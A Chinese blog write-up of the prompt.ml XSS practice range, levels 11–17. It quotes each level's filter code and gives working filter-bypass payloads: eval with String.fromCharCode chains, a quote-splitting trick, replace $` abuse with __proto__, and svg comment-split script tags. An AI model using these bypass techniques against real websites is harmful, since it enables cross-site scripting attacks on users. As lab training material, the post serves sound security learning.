XSS靶场练习手工注入(3)

前言

这篇一篇用来记录自己练习XSS注入的博客,我感觉这个比上一个要难好多(个人感觉),好几道题没有写出来,看完大佬的答案,感觉人和人真的不能比,他们好强,尤其感觉我的JS差的不是一星半点,但是呢,又不可能专门再去学一遍JS,感觉学了长时间不用也会忘记。只希望如果我遇到不会的,就做一个积累吧


靶场的目标是实现弹窗prompt(1),才算过关

靶场:http://prompt.ml/0

题目11

function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}     

解题思路

replace()方法

replace()
他有两个参数:
第一个参数表示字符串中需要替换的内容
第二个参数表示要替换成什么的内容
他的返回类型是字符串

eval()函数

作用:可以接受一个字符串str作为参数,并把这个参数作为脚本代码来执行

首先,我们需要稍微理解一下代码的含义, input = encodeURIComponent(input).replace(/prompt/g, 'alert');这行代码的大致意思就是说如果输入的字符串中含有prompt(),就会被alert()替换,如果没有,就不会被替换。input = input.replace(/'/g, '');,这句话是说,我们的输入经过第一步之后,会被解析成URL代码重新传输给input,然后在检查编码后的输入有无,如果有,就把他消掉

这道题大致有两个方法。

首先第一个,可以构造出这样一个代码块pro’mpt(1),因为他是先判断有没有prompt,如果有再替换的,但由于我们加了'符号,所以第一步过滤时他不会被替换,因为他不是prompt,然后到第二步过滤的时候,刚好我们构造的语句里面存在'符号,会被过滤,所以最后传到服务器上的是prompt,所以会被执行。

第二个方法,就是采用unicode编码,因为他过滤了ASCII码,我们可以使用Unicode编码表示prompt,即

\u0070\u0072\u006f\u006d\u0070\u0074\u0028\u0031\u0029

但是这个有一个问题就是\会被编码为%5C,导致无法进行JS解析。然后可以用其他的unicode编码表示,以此代替\,可以使用String.fromCharCode()函数配合使用JS中存在的eval函数,在eval函数里面如果传入一个字符串,就会执行这个脚本。可以想到把prompt放到eval函数里面,即

eval(String.FromCharCode(70,72,6f,6d,70,74,28,31,29))

由于会被编译成为%2C,所以可以使用concat将不同的unicode编码链接起来,即

eval(String.fromCharCode(70).concat(String.fromCharCode(72)).concat(String.fromCharCode(6f)).concat(String.fromCharCode(6d)).concat(String.fromCharCode(70)).concat(String.fromCharCode(74)).concat(String.fromCharCode(28)).concat(String.fromCharCode(31)).concat(String.fromCharCode(29)))

然后会发现还是不行,然后想到之前的\uxxxx是16进制,而使用String.fromCharCode方法时,传入参数默认是10进制,所以需要转换一下,即

eval(String.fromCharCode(112).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(String.fromCharCode(49)).concat(String.fromCharCode(41)))

结果

在这里插入图片描述

题目12

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}       

解题思路

首先稍微看一下代码大致什么意思,第一行是一个过滤,过滤掉了大部分的符号,第二行是一个json格式的变量,所谓json格式,其实可以理解为把一个对象字符串话,可以理解为他就是一个字符串,然后接下来就是return,在这个里面,有我们输入的值,他是在一个if条件下面的,从上面的代码可以知道,action的值就是login,而且值,类型都是一样的,所以我们是可以进入if主体里面的,我们输入的值会被连接在在message的值的后面。

要解决这道题,我们大概要了解这样一个原理,就是浏览器解析的时候,会先解析函数里面的形参,而不是去解析这个函数,基于此,我们可以构造这样一行语句,将prompt语句放在形参里面先去执行,而形参需要在括号里面,所以需要在她后面打个括号,即

(prompt(1))

然后发现在message里面,还有前面的welcome和后面的.,所以我们需要先加一个括号,闭合前面的welcome,然后使用 in 操作符来拼接,其使用方法是 [a_object] in [b_object] ,用于判断一个对象 a 是否被对象 b 包含。所以最终结果是

"(prompt(1))in"

结果

在这里插入图片描述

题目13

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}     

解题思路

首先看一下代码的大致含义,就是先过滤了'符号,然后在进行URL解码,然后再把输入里面的prompt替换成alert

感觉这个题和上面一道题差不多,都是解码,然后替换,所以可以用上面的方法试一下,发现好像可以,所以解决

题目14

 function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}      

解题思路

首先看一下代码的大致含义,从try开始看起,首先是将input的内容由json格式转化为一个JS对象,赋值给data,然后进入extend函数,给他传入两个参数,一个固定的,一个是input转化为对象以后的值(其实就是从字符串变成了对象了),所以此时,argument的值为2,所以当i等于1的时候,for循环只用进行一次,就是将input转化的对象赋值给变量source,然后判断input是否具有属性source,若没有,则赋值给他,有就不管了。
然后出了函数之后,在过滤一下,然后就是return里面,到我们要插入的地方,他是在一个img标签中,因为已经过滤了"符号,所以其实很难对src进行闭合。
然后这里我们需要用到这样一个知识,链接在这里

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace#%E6%8F%8F%E8%BF%B0

可以使用$`符号 插入当前匹配的子串左边的内容。意思就是,使用它之后,就变成了

<img src="img src=".

就是把左边的给他复制了一遍匹配一下,这样的话,就刚好两个引号闭合了,我们就可以构建新的标签实现prompt了,即

 {"source":"$` onerror=prompt(1)"}

但这样发现好像不太行,是因为有一个过滤,会过滤掉我们构造的source的值,这时候可以使用 __proto__ 属性,这个属性的作用呢,就是可以利用他直接调用对象的值,而且他的值还可以改变,所以可以这样构造

{"source": "-abc", "__proto__": {"source": "$` onerror=prompt(1) >"}}

题目16

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}        

解题思路

大致看一下代码,就是将输入的值全部大写,然后再过滤掉一些符号,要过滤两次,最后我们的输出在img标签中输出。

j然后我们发现他是可以闭合的,但是由于JS对大小写比较敏感,所以这题可以用编码的方式去写,可以采用base64编码,关于base64的编码格式,可以大致了解一下,这道题的原理就是构造一个外链,然后用base64表示,而且这个外链要用base64编码表示的时候,最好全是大写,所以可以一个一个尝试。

题目17

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}        

解题思路

这个题和前面有道题换挺像的,可以换个方式注释,他过滤掉了/*xxxx*/这种注释方式,也可以使用<!-->xxxx<-->,但是这题在 HTML 中穿插着 JS 代码,而在默认 HTML 语境下, HTML 注释是没办法在 JS 代码中使用的。
为了解决这个问题,可以借助 <svg> 标签强制解析 XML 语法的特点:
<svg> 标签中若包含 JS 代码,即使使用 HTML 注释 <!-- --> 也是可以被成功解析的。所以

"><svg><!--#--><script><!--#-->prompt<!--#-->(1)</script>

总结

其实,感觉今天通过刷这个靶场,然后有知道了好多关于JS的知识,这大概之总结了后面七道题,前面还有些题没有总结,大概在明天会记录一下吧。到时候再好好的整理一下常见的绕过方式。

另外,在学习中,我借鉴了好多大佬的经验,我的很多方法都是看下面这个博客的,我感觉他好厉害。

参考文章:
https://exp-blog.com/

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值